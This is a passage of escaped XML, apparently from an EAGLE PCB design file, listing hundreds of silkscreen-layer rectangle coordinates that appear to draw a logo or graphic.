layer=\"21\"/>\n<rectangle x1=\"0.8237\" y1=\"1.8716\" x2=\"2.3157\" y2=\"1.8761\" layer=\"21\"/>\n<rectangle x1=\"-2.3912\" y1=\"1.8761\" x2=\"-0.9037\" y2=\"1.8805\" layer=\"21\"/>\n<rectangle x1=\"-0.5307\" y1=\"1.8761\" x2=\"-0.1665\" y2=\"1.8805\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8761\" x2=\"0.4462\" y2=\"1.8805\" layer=\"21\"/>\n<rectangle x1=\"0.8192\" y1=\"1.8761\" x2=\"2.3068\" y2=\"1.8805\" layer=\"21\"/>\n<rectangle x1=\"-2.3824\" y1=\"1.8805\" x2=\"-0.9037\" y2=\"1.885\" layer=\"21\"/>\n<rectangle x1=\"-0.5307\" y1=\"1.8805\" x2=\"-0.1665\" y2=\"1.885\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8805\" x2=\"0.4418\" y2=\"1.885\" layer=\"21\"/>\n<rectangle x1=\"0.8192\" y1=\"1.8805\" x2=\"2.2979\" y2=\"1.885\" layer=\"21\"/>\n<rectangle x1=\"-2.3779\" y1=\"1.885\" x2=\"-0.8992\" y2=\"1.8894\" layer=\"21\"/>\n<rectangle x1=\"-0.5262\" y1=\"1.885\" x2=\"-0.1665\" y2=\"1.8894\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.885\" x2=\"0.4418\" y2=\"1.8894\" layer=\"21\"/>\n<rectangle x1=\"0.8148\" y1=\"1.885\" x2=\"2.2935\" y2=\"1.8894\" layer=\"21\"/>\n<rectangle x1=\"-2.369\" y1=\"1.8894\" x2=\"-0.8992\" y2=\"1.8938\" layer=\"21\"/>\n<rectangle x1=\"-0.5218\" y1=\"1.8894\" x2=\"-0.1665\" y2=\"1.8938\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8894\" x2=\"0.4374\" y2=\"1.8938\" layer=\"21\"/>\n<rectangle x1=\"0.8148\" y1=\"1.8894\" x2=\"2.2846\" y2=\"1.8938\" layer=\"21\"/>\n<rectangle x1=\"-2.3602\" y1=\"1.8938\" x2=\"-0.8948\" y2=\"1.8983\" layer=\"21\"/>\n<rectangle x1=\"-0.5218\" y1=\"1.8938\" x2=\"-0.1665\" y2=\"1.8983\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8938\" x2=\"0.4374\" y2=\"1.8983\" layer=\"21\"/>\n<rectangle x1=\"0.8104\" y1=\"1.8938\" x2=\"2.2757\" y2=\"1.8983\" layer=\"21\"/>\n<rectangle x1=\"-2.3557\" y1=\"1.8983\" x2=\"-0.8904\" y2=\"1.9027\" layer=\"21\"/>\n<rectangle x1=\"-0.5173\" y1=\"1.8983\" x2=\"-0.1665\" y2=\"1.9027\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8983\" x2=\"0.4329\" y2=\"1.9027\" layer=\"21\"/>\n<rectangle x1=\"0.8059\" y1=\"1.8983\" x2=\"2.2713\" y2=\"1.9027\" layer=\"21\"/>\n<rectangle x1=\"-2.3468\" y1=\"1.9027\" x2=\"-0.8904\" y2=\"1.9072\" layer=\"21\"/>\n<rectangle x1=\"-0.5173\" y1=\"1.9027\" x2=\"-0.1665\" y2=\"1.9072\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9027\" x2=\"0.4329\" y2=\"1.9072\" layer=\"21\"/>\n<rectangle x1=\"0.8059\" y1=\"1.9027\" x2=\"2.2624\" y2=\"1.9072\" layer=\"21\"/>\n<rectangle x1=\"-2.338\" y1=\"1.9072\" x2=\"-0.8859\" y2=\"1.9116\" layer=\"21\"/>\n<rectangle x1=\"-0.5129\" y1=\"1.9072\" x2=\"-0.1665\" y2=\"1.9116\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9072\" x2=\"0.4285\" y2=\"1.9116\" layer=\"21\"/>\n<rectangle x1=\"0.8015\" y1=\"1.9072\" x2=\"2.2535\" y2=\"1.9116\" layer=\"21\"/>\n<rectangle x1=\"-2.3291\" y1=\"1.9116\" x2=\"-0.8859\" y2=\"1.916\" layer=\"21\"/>\n<rectangle x1=\"-0.5085\" y1=\"1.9116\" x2=\"-0.1665\" y2=\"1.916\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9116\" x2=\"0.424\" y2=\"1.916\" layer=\"21\"/>\n<rectangle x1=\"0.8015\" y1=\"1.9116\" x2=\"2.2446\" y2=\"1.916\" layer=\"21\"/>\n<rectangle x1=\"-2.3246\" y1=\"1.916\" x2=\"-0.8815\" y2=\"1.9205\" layer=\"21\"/>\n<rectangle x1=\"-0.5085\" y1=\"1.916\" x2=\"-0.1665\" y2=\"1.9205\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.916\" x2=\"0.424\" y2=\"1.9205\" layer=\"21\"/>\n<rectangle x1=\"0.797\" y1=\"1.916\" x2=\"2.2402\" y2=\"1.9205\" layer=\"21\"/>\n<rectangle x1=\"-2.3157\" y1=\"1.9205\" x2=\"-0.8815\" y2=\"1.9249\" layer=\"21\"/>\n<rectangle x1=\"-0.504\" y1=\"1.9205\" x2=\"-0.1665\" y2=\"1.9249\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9205\" x2=\"0.4196\" y2=\"1.9249\" layer=\"21\"/>\n<rectangle x1=\"0.797\" y1=\"1.9205\" x2=\"2.2313\" y2=\"1.9249\" layer=\"21\"/>\n<rectangle x1=\"-2.3069\" y1=\"1.9249\" x2=\"-0.877\" y2=\"1.9294\" layer=\"21\"/>\n<rectangle x1=\"-0.504\" y1=\"1.9249\" x2=\"-0.1665\" y2=\"1.9294\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9249\" x2=\"0.4196\" y2=\"1.9294\" layer=\"21\"/>\n<rectangle x1=\"0.7926\" y1=\"1.9249\" x2=\"2.2224\" y2=\"1.9294\" layer=\"21\"/>\n<rectangle x1=\"-2.298\" y1=\"1.9294\" x2=\"-0.8726\" y2=\"1.9338\" layer=\"21\"/>\n<rectangle x1=\"-0.4996\" y1=\"1.9294\" x2=\"-0.1665\" y2=\"1.9338\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9294\" x2=\"0.4152\" y2=\"1.9338\" layer=\"21\"/>\n<rectangle x1=\"0.7882\" y1=\"1.9294\" x2=\"2.2136\" y2=\"1.9338\" layer=\"21\"/>\n<rectangle x1=\"-2.2935\" y1=\"1.9338\" x2=\"-0.8726\" y2=\"1.9382\" layer=\"21\"/>\n<rectangle x1=\"-0.4996\" y1=\"1.9338\" x2=\"-0.1665\" y2=\"1.9382\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9338\" x2=\"0.4152\" y2=\"1.9382\" layer=\"21\"/>\n<rectangle x1=\"0.7882\" y1=\"1.9338\" x2=\"2.2091\" y2=\"1.9382\" layer=\"21\"/>\n<rectangle x1=\"-2.2847\" y1=\"1.9382\" x2=\"-0.8681\" y2=\"1.9427\" layer=\"21\"/>\n<rectangle x1=\"-0.4951\" y1=\"1.9382\" x2=\"-0.1665\" y2=\"1.9427\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9382\" x2=\"0.4107\" y2=\"1.9427\" layer=\"21\"/>\n<rectangle x1=\"0.7837\" y1=\"1.9382\" x2=\"2.2002\" y2=\"1.9427\" layer=\"21\"/>\n<rectangle x1=\"-2.2758\" y1=\"1.9427\" x2=\"-0.8681\" y2=\"1.9471\" layer=\"21\"/>\n<rectangle x1=\"-0.4907\" y1=\"1.9427\" x2=\"-0.1665\" y2=\"1.9471\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9427\" x2=\"0.4063\" y2=\"1.9471\" layer=\"21\"/>\n<rectangle x1=\"0.7837\" y1=\"1.9427\" x2=\"2.1914\" y2=\"1.9471\" layer=\"21\"/>\n<rectangle x1=\"-2.2669\" y1=\"1.9471\" x2=\"-0.8637\" y2=\"1.9516\" layer=\"21\"/>\n<rectangle x1=\"-0.4907\" y1=\"1.9471\" x2=\"-0.1665\" y2=\"1.9516\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9471\" x2=\"0.4063\" y2=\"1.9516\" layer=\"21\"/>\n<rectangle x1=\"0.7793\" y1=\"1.9471\" x2=\"2.1825\" y2=\"1.9516\" layer=\"21\"/>\n<rectangle x1=\"-2.2625\" y1=\"1.9516\" x2=\"-0.8637\" y2=\"1.956\" layer=\"21\"/>\n<rectangle x1=\"-0.4863\" y1=\"1.9516\" x2=\"-0.1665\" y2=\"1.956\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9516\" x2=\"0.4018\" y2=\"1.956\" layer=\"21\"/>\n<rectangle x1=\"0.7748\" y1=\"1.9516\" x2=\"2.178\" y2=\"1.956\" layer=\"21\"/>\n<rectangle x1=\"-2.2536\" y1=\"1.956\" x2=\"-0.8593\" y2=\"1.9604\" layer=\"21\"/>\n<rectangle x1=\"-0.4863\" y1=\"1.956\" x2=\"-0.1665\" y2=\"1.9604\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.956\" x2=\"0.4018\" y2=\"1.9604\" layer=\"21\"/>\n<rectangle x1=\"0.7748\" y1=\"1.956\" x2=\"2.1692\" y2=\"1.9604\" layer=\"21\"/>\n<rectangle x1=\"-2.2447\" y1=\"1.9604\" x2=\"-0.8548\" y2=\"1.9649\" layer=\"21\"/>\n<rectangle x1=\"-0.4818\" y1=\"1.9604\" x2=\"-0.1665\" y2=\"1.9649\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9604\" x2=\"0.3974\" y2=\"1.9649\" layer=\"21\"/>\n<rectangle x1=\"0.7704\" y1=\"1.9604\" x2=\"2.1603\" y2=\"1.9649\" layer=\"21\"/>\n<rectangle x1=\"-2.2403\" y1=\"1.9649\" x2=\"-0.8548\" y2=\"1.9693\" layer=\"21\"/>\n<rectangle x1=\"-0.4818\" y1=\"1.9649\" x2=\"-0.1665\" y2=\"1.9693\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9649\" x2=\"0.393\" y2=\"1.9693\" layer=\"21\"/>\n<rectangle x1=\"0.7704\" y1=\"1.9649\" x2=\"2.1558\" y2=\"1.9693\" layer=\"21\"/>\n<rectangle x1=\"-2.2314\" y1=\"1.9693\" x2=\"-0.8504\" y2=\"1.9738\" layer=\"21\"/>\n<rectangle x1=\"-0.4774\" y1=\"1.9693\" x2=\"-0.1665\" y2=\"1.9738\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9693\" x2=\"0.393\" y2=\"1.9738\" layer=\"21\"/>\n<rectangle x1=\"0.766\" y1=\"1.9693\" x2=\"2.1469\" y2=\"1.9738\" layer=\"21\"/>\n<rectangle x1=\"-2.2225\" y1=\"1.9738\" x2=\"-0.8504\" y2=\"1.9782\" layer=\"21\"/>\n<rectangle x1=\"-0.4729\" y1=\"1.9738\" x2=\"-0.1665\" y2=\"1.9782\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9738\" x2=\"0.3885\" y2=\"1.9782\" layer=\"21\"/>\n<rectangle x1=\"0.766\" y1=\"1.9738\" x2=\"2.1381\" y2=\"1.9782\" layer=\"21\"/>\n<rectangle x1=\"-2.2136\" y1=\"1.9782\" x2=\"-0.8459\" y2=\"1.9826\" layer=\"21\"/>\n<rectangle x1=\"-0.4729\" y1=\"1.9782\" x2=\"-0.1665\" y2=\"1.9826\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9782\" x2=\"0.3885\" y2=\"1.9826\" layer=\"21\"/>\n<rectangle x1=\"0.7615\" y1=\"1.9782\" x2=\"2.1292\" y2=\"1.9826\" layer=\"21\"/>\n<rectangle x1=\"-2.2092\" y1=\"1.9826\" x2=\"-0.8415\" y2=\"1.9871\" layer=\"21\"/>\n<rectangle x1=\"-0.4685\" y1=\"1.9826\" x2=\"-0.1665\" y2=\"1.9871\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9826\" x2=\"0.3841\" y2=\"1.9871\" layer=\"21\"/>\n<rectangle x1=\"0.7571\" y1=\"1.9826\" x2=\"2.1247\" y2=\"1.9871\" layer=\"21\"/>\n<rectangle x1=\"-2.2003\" y1=\"1.9871\" x2=\"-0.8415\" y2=\"1.9915\" layer=\"21\"/>\n<rectangle x1=\"-0.4685\" y1=\"1.9871\" x2=\"-0.1665\" y2=\"1.9915\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9871\" x2=\"0.3841\" y2=\"1.9915\" layer=\"21\"/>\n<rectangle x1=\"0.7571\" y1=\"1.9871\" x2=\"2.1159\" y2=\"1.9915\" layer=\"21\"/>\n<rectangle x1=\"-2.1914\" y1=\"1.9915\" x2=\"-0.8371\" y2=\"1.996\" layer=\"21\"/>\n<rectangle x1=\"-0.4641\" y1=\"1.9915\" x2=\"-0.1665\" y2=\"1.996\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.9915\" x2=\"0.3796\" y2=\"1.996\" layer=\"21\"/>\n<rectangle x1=\"0.7526\" y1=\"1.9915\" x2=\"2.107\" y2=\"1.996\" layer=\"21\"/>\n<rectangle x1=\"-2.1825\" y1=\"1.996\" x2=\"-0.8371\" y2=\"2.0004\" layer=\"21\"/>\n<rectangle x1=\"-0.4596\" y1=\"1.996\" x2=\"-0.1665\" y2=\"2.0004\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.996\" x2=\"0.3752\" y2=\"2.0004\" layer=\"21\"/>\n<rectangle x1=\"0.7526\" y1=\"1.996\" x2=\"2.0981\" y2=\"2.0004\" layer=\"21\"/>\n<rectangle x1=\"-2.1781\" y1=\"2.0004\" x2=\"-0.8326\" y2=\"2.0049\" layer=\"21\"/>\n<rectangle x1=\"-0.4596\" y1=\"2.0004\" x2=\"-0.1665\" y2=\"2.0049\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0004\" x2=\"0.3752\" y2=\"2.0049\" layer=\"21\"/>\n<rectangle x1=\"0.7482\" y1=\"2.0004\" x2=\"2.0937\" y2=\"2.0049\" layer=\"21\"/>\n<rectangle x1=\"-2.1692\" y1=\"2.0049\" x2=\"-0.8326\" y2=\"2.0093\" layer=\"21\"/>\n<rectangle x1=\"-0.4552\" y1=\"2.0049\" x2=\"-0.1665\" y2=\"2.0093\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0049\" x2=\"0.3708\" y2=\"2.0093\" layer=\"21\"/>\n<rectangle x1=\"0.7482\" y1=\"2.0049\" x2=\"2.0848\" y2=\"2.0093\" layer=\"21\"/>\n<rectangle x1=\"-2.1603\" y1=\"2.0093\" x2=\"-0.8282\" y2=\"2.0137\" layer=\"21\"/>\n<rectangle x1=\"-0.4552\" y1=\"2.0093\" x2=\"-0.1665\" y2=\"2.0137\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0093\" x2=\"0.3708\" y2=\"2.0137\" layer=\"21\"/>\n<rectangle x1=\"0.7438\" y1=\"2.0093\" x2=\"2.0759\" y2=\"2.0137\" layer=\"21\"/>\n<rectangle x1=\"-2.1559\" y1=\"2.0137\" x2=\"-0.8237\" y2=\"2.0182\" layer=\"21\"/>\n<rectangle x1=\"-0.4507\" y1=\"2.0137\" x2=\"-0.1665\" y2=\"2.0182\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0137\" x2=\"0.3663\" y2=\"2.0182\" layer=\"21\"/>\n<rectangle x1=\"0.7393\" y1=\"2.0137\" x2=\"2.0715\" y2=\"2.0182\" layer=\"21\"/>\n<rectangle x1=\"-2.147\" y1=\"2.0182\" x2=\"-0.8237\" y2=\"2.0226\" layer=\"21\"/>\n<rectangle x1=\"-0.4507\" y1=\"2.0182\" x2=\"-0.1665\" y2=\"2.0226\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0182\" x2=\"0.3663\" y2=\"2.0226\" layer=\"21\"/>\n<rectangle x1=\"0.7393\" y1=\"2.0182\" x2=\"2.0626\" y2=\"2.0226\" layer=\"21\"/>\n<rectangle x1=\"-2.1381\" y1=\"2.0226\" x2=\"-0.8193\" y2=\"2.0271\" layer=\"21\"/>\n<rectangle x1=\"-0.4463\" y1=\"2.0226\" x2=\"-0.1665\" y2=\"2.0271\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0226\" x2=\"0.3619\" y2=\"2.0271\" layer=\"21\"/>\n<rectangle x1=\"0.7349\" y1=\"2.0226\" x2=\"2.0537\" y2=\"2.0271\" layer=\"21\"/>\n<rectangle x1=\"-2.1292\" y1=\"2.0271\" x2=\"-0.8193\" y2=\"2.0315\" layer=\"21\"/>\n<rectangle x1=\"-0.4419\" y1=\"2.0271\" x2=\"-0.1665\" y2=\"2.0315\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0271\" x2=\"0.3574\" y2=\"2.0315\" layer=\"21\"/>\n<rectangle x1=\"0.7349\" y1=\"2.0271\" x2=\"2.0448\" y2=\"2.0315\" layer=\"21\"/>\n<rectangle x1=\"-2.1248\" y1=\"2.0315\" x2=\"-0.8149\" y2=\"2.0359\" layer=\"21\"/>\n<rectangle x1=\"-0.4419\" y1=\"2.0315\" x2=\"-0.1665\" y2=\"2.0359\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0315\" x2=\"0.3574\" y2=\"2.0359\" layer=\"21\"/>\n<rectangle x1=\"0.7304\" y1=\"2.0315\" x2=\"2.0404\" y2=\"2.0359\" layer=\"21\"/>\n<rectangle x1=\"-2.1159\" y1=\"2.0359\" x2=\"-0.8149\" y2=\"2.0404\" layer=\"21\"/>\n<rectangle x1=\"-0.4374\" y1=\"2.0359\" x2=\"-0.1665\" y2=\"2.0404\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0359\" x2=\"0.353\" y2=\"2.0404\" layer=\"21\"/>\n<rectangle x1=\"0.7304\" y1=\"2.0359\" x2=\"2.0315\" y2=\"2.0404\" layer=\"21\"/>\n<rectangle x1=\"-2.107\" y1=\"2.0404\" x2=\"-0.8104\" y2=\"2.0448\" layer=\"21\"/>\n<rectangle x1=\"-0.4374\" y1=\"2.0404\" x2=\"-0.1665\" y2=\"2.0448\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0404\" x2=\"0.353\" y2=\"2.0448\" layer=\"21\"/>\n<rectangle x1=\"0.726\" y1=\"2.0404\" x2=\"2.0226\" y2=\"2.0448\" layer=\"21\"/>\n<rectangle x1=\"-2.0982\" y1=\"2.0448\" x2=\"-0.806\" y2=\"2.0493\" layer=\"21\"/>\n<rectangle x1=\"-0.433\" y1=\"2.0448\" x2=\"-0.1665\" y2=\"2.0493\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0448\" x2=\"0.3485\" y2=\"2.0493\" layer=\"21\"/>\n<rectangle x1=\"0.7216\" y1=\"2.0448\" x2=\"2.0137\" y2=\"2.0493\" layer=\"21\"/>\n<rectangle x1=\"-2.0937\" y1=\"2.0493\" x2=\"-0.806\" y2=\"2.0537\" layer=\"21\"/>\n<rectangle x1=\"-0.433\" y1=\"2.0493\" x2=\"-0.1665\" y2=\"2.0537\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0493\" x2=\"0.3485\" y2=\"2.0537\" layer=\"21\"/>\n<rectangle x1=\"0.7216\" y1=\"2.0493\" x2=\"2.0093\" y2=\"2.0537\" layer=\"21\"/>\n<rectangle x1=\"-2.0848\" y1=\"2.0537\" x2=\"-0.8015\" y2=\"2.0581\" layer=\"21\"/>\n<rectangle x1=\"-0.4285\" y1=\"2.0537\" x2=\"-0.1665\" y2=\"2.0581\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0537\" x2=\"0.3441\" y2=\"2.0581\" layer=\"21\"/>\n<rectangle x1=\"0.7171\" y1=\"2.0537\" x2=\"2.0004\" y2=\"2.0581\" layer=\"21\"/>\n<rectangle x1=\"-2.076\" y1=\"2.0581\" x2=\"-0.8015\" y2=\"2.0626\" layer=\"21\"/>\n<rectangle x1=\"-0.4241\" y1=\"2.0581\" x2=\"-0.1665\" y2=\"2.0626\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0581\" x2=\"0.3397\" y2=\"2.0626\" layer=\"21\"/>\n<rectangle x1=\"0.7171\" y1=\"2.0581\" x2=\"1.9915\" y2=\"2.0626\" layer=\"21\"/>\n<rectangle x1=\"-2.0671\" y1=\"2.0626\" x2=\"-0.7971\" y2=\"2.067\" layer=\"21\"/>\n<rectangle x1=\"-0.4241\" y1=\"2.0626\" x2=\"-0.1665\" y2=\"2.067\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0626\" x2=\"0.3397\" y2=\"2.067\" layer=\"21\"/>\n<rectangle x1=\"0.7127\" y1=\"2.0626\" x2=\"1.9826\" y2=\"2.067\" layer=\"21\"/>\n<rectangle x1=\"-2.0626\" y1=\"2.067\" x2=\"-0.7971\" y2=\"2.0715\" layer=\"21\"/>\n<rectangle x1=\"-0.4197\" y1=\"2.067\" x2=\"-0.1665\" y2=\"2.0715\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.067\" x2=\"0.3352\" y2=\"2.0715\" layer=\"21\"/>\n<rectangle x1=\"0.7082\" y1=\"2.067\" x2=\"1.9782\" y2=\"2.0715\" layer=\"21\"/>\n<rectangle x1=\"-2.0538\" y1=\"2.0715\" x2=\"-0.7927\" y2=\"2.0759\" layer=\"21\"/>\n<rectangle x1=\"-0.4197\" y1=\"2.0715\" x2=\"-0.1665\" y2=\"2.0759\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0715\" x2=\"0.3352\" y2=\"2.0759\" layer=\"21\"/>\n<rectangle x1=\"0.7082\" y1=\"2.0715\" x2=\"1.9693\" y2=\"2.0759\" layer=\"21\"/>\n<rectangle x1=\"-2.0449\" y1=\"2.0759\" x2=\"-0.7882\" y2=\"2.0803\" layer=\"21\"/>\n<rectangle x1=\"-0.4152\" y1=\"2.0759\" x2=\"-0.1665\" y2=\"2.0803\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0759\" x2=\"0.3308\" y2=\"2.0803\" layer=\"21\"/>\n<rectangle x1=\"0.7038\" y1=\"2.0759\" x2=\"1.9604\" y2=\"2.0803\" layer=\"21\"/>\n<rectangle x1=\"-2.0404\" y1=\"2.0803\" x2=\"-0.7882\" y2=\"2.0848\" layer=\"21\"/>\n<rectangle x1=\"-0.4152\" y1=\"2.0803\" x2=\"-0.1665\" y2=\"2.0848\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0803\" x2=\"0.3263\" y2=\"2.0848\" layer=\"21\"/>\n<rectangle x1=\"0.7038\" y1=\"2.0803\" x2=\"1.956\" y2=\"2.0848\" layer=\"21\"/>\n<rectangle x1=\"-2.0316\" y1=\"2.0848\" x2=\"-0.7838\" y2=\"2.0892\" layer=\"21\"/>\n<rectangle x1=\"-0.4108\" y1=\"2.0848\" x2=\"-0.1665\" y2=\"2.0892\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0848\" x2=\"0.3263\" y2=\"2.0892\" layer=\"21\"/>\n<rectangle x1=\"0.6993\" y1=\"2.0848\" x2=\"1.9471\" y2=\"2.0892\" layer=\"21\"/>\n<rectangle x1=\"-2.0227\" y1=\"2.0892\" x2=\"-0.7838\" y2=\"2.0937\" layer=\"21\"/>\n<rectangle x1=\"-0.4063\" y1=\"2.0892\" x2=\"-0.1665\" y2=\"2.0937\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0892\" x2=\"0.3219\" y2=\"2.0937\" layer=\"21\"/>\n<rectangle x1=\"0.6993\" y1=\"2.0892\" x2=\"1.9382\" y2=\"2.0937\" layer=\"21\"/>\n<rectangle x1=\"-2.0138\" y1=\"2.0937\" x2=\"-0.7793\" y2=\"2.0981\" layer=\"21\"/>\n<rectangle x1=\"-0.4063\" y1=\"2.0937\" x2=\"-0.1665\" y2=\"2.0981\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0937\" x2=\"0.3219\" y2=\"2.0981\" layer=\"21\"/>\n<rectangle x1=\"0.6949\" y1=\"2.0937\" x2=\"1.9294\" y2=\"2.0981\" layer=\"21\"/>\n<rectangle x1=\"-2.0094\" y1=\"2.0981\" x2=\"-0.7749\" y2=\"2.1025\" layer=\"21\"/>\n<rectangle x1=\"-0.4019\" y1=\"2.0981\" x2=\"-0.1665\" y2=\"2.1025\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.0981\" x2=\"0.3175\" y2=\"2.1025\" layer=\"21\"/>\n<rectangle x1=\"0.6905\" y1=\"2.0981\" x2=\"1.9249\" y2=\"2.1025\" layer=\"21\"/>\n<rectangle x1=\"-2.0005\" y1=\"2.1025\" x2=\"-0.7749\" y2=\"2.107\" layer=\"21\"/>\n<rectangle x1=\"-0.4019\" y1=\"2.1025\" x2=\"-0.1665\" y2=\"2.107\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1025\" x2=\"0.3175\" y2=\"2.107\" layer=\"21\"/>\n<rectangle x1=\"0.6905\" y1=\"2.1025\" x2=\"1.916\" y2=\"2.107\" layer=\"21\"/>\n<rectangle x1=\"-1.9916\" y1=\"2.107\" x2=\"-0.7705\" y2=\"2.1114\" layer=\"21\"/>\n<rectangle x1=\"-0.3975\" y1=\"2.107\" x2=\"-0.1665\" y2=\"2.1114\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.107\" x2=\"0.313\" y2=\"2.1114\" layer=\"21\"/>\n<rectangle x1=\"0.686\" y1=\"2.107\" x2=\"1.9072\" y2=\"2.1114\" layer=\"21\"/>\n<rectangle x1=\"-1.9827\" y1=\"2.1114\" x2=\"-0.7705\" y2=\"2.1159\" layer=\"21\"/>\n<rectangle x1=\"-0.393\" y1=\"2.1114\" x2=\"-0.1665\" y2=\"2.1159\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1114\" x2=\"0.3086\" y2=\"2.1159\" layer=\"21\"/>\n<rectangle x1=\"0.686\" y1=\"2.1114\" x2=\"1.8983\" y2=\"2.1159\" layer=\"21\"/>\n<rectangle x1=\"-1.9783\" y1=\"2.1159\" x2=\"-0.766\" y2=\"2.1203\" layer=\"21\"/>\n<rectangle x1=\"-0.393\" y1=\"2.1159\" x2=\"-0.1665\" y2=\"2.1203\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1159\" x2=\"0.3086\" y2=\"2.1203\" layer=\"21\"/>\n<rectangle x1=\"0.6816\" y1=\"2.1159\" x2=\"1.8938\" y2=\"2.1203\" layer=\"21\"/>\n<rectangle x1=\"-1.9694\" y1=\"2.1203\" x2=\"-0.766\" y2=\"2.1247\" layer=\"21\"/>\n<rectangle x1=\"-0.3886\" y1=\"2.1203\" x2=\"-0.1665\" y2=\"2.1247\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1203\" x2=\"0.3041\" y2=\"2.1247\" layer=\"21\"/>\n<rectangle x1=\"0.6816\" y1=\"2.1203\" x2=\"1.885\" y2=\"2.1247\" layer=\"21\"/>\n<rectangle x1=\"-1.9605\" y1=\"2.1247\" x2=\"-0.7616\" y2=\"2.1292\" layer=\"21\"/>\n<rectangle x1=\"-0.3886\" y1=\"2.1247\" x2=\"-0.1665\" y2=\"2.1292\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1247\" x2=\"0.3041\" y2=\"2.1292\" layer=\"21\"/>\n<rectangle x1=\"0.6771\" y1=\"2.1247\" x2=\"1.8761\" y2=\"2.1292\" layer=\"21\"/>\n<rectangle x1=\"-1.9516\" y1=\"2.1292\" x2=\"-0.7571\" y2=\"2.1336\" layer=\"21\"/>\n<rectangle x1=\"-0.3841\" y1=\"2.1292\" x2=\"-0.1665\" y2=\"2.1336\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1292\" x2=\"0.2997\" y2=\"2.1336\" layer=\"21\"/>\n<rectangle x1=\"0.6727\" y1=\"2.1292\" x2=\"1.8716\" y2=\"2.1336\" layer=\"21\"/>\n<rectangle x1=\"-1.9472\" y1=\"2.1336\" x2=\"-0.7571\" y2=\"2.1381\" layer=\"21\"/>\n<rectangle x1=\"-0.3841\" y1=\"2.1336\" x2=\"-0.1665\" y2=\"2.1381\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1336\" x2=\"0.2997\" y2=\"2.1381\" layer=\"21\"/>\n<rectangle x1=\"0.6727\" y1=\"2.1336\" x2=\"1.8628\" y2=\"2.1381\" layer=\"21\"/>\n<rectangle x1=\"-1.9383\" y1=\"2.1381\" x2=\"-0.7527\" y2=\"2.1425\" layer=\"21\"/>\n<rectangle x1=\"-0.3797\" y1=\"2.1381\" x2=\"-0.1665\" y2=\"2.1425\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.1381\" x2=\"0.2953\" y2=\"2.1425\" layer=\"21\"/>\n<rectangle x1=\"0.6683\" y1=\"2.1381\" x2=\"1.8539\" y2=\"2.1425\" layer=\"21\"/>\n<rectangle x1=\"-1.9294\" y1=\"2.1425\" x2=\"-0.7527\" y2=\"2.1469\" layer=\"21\"/>\n<rectangle x1=\"-0.3753\" y1=\"2.1425\" x2=\"-0.1665\" y2=\"2.1469\" 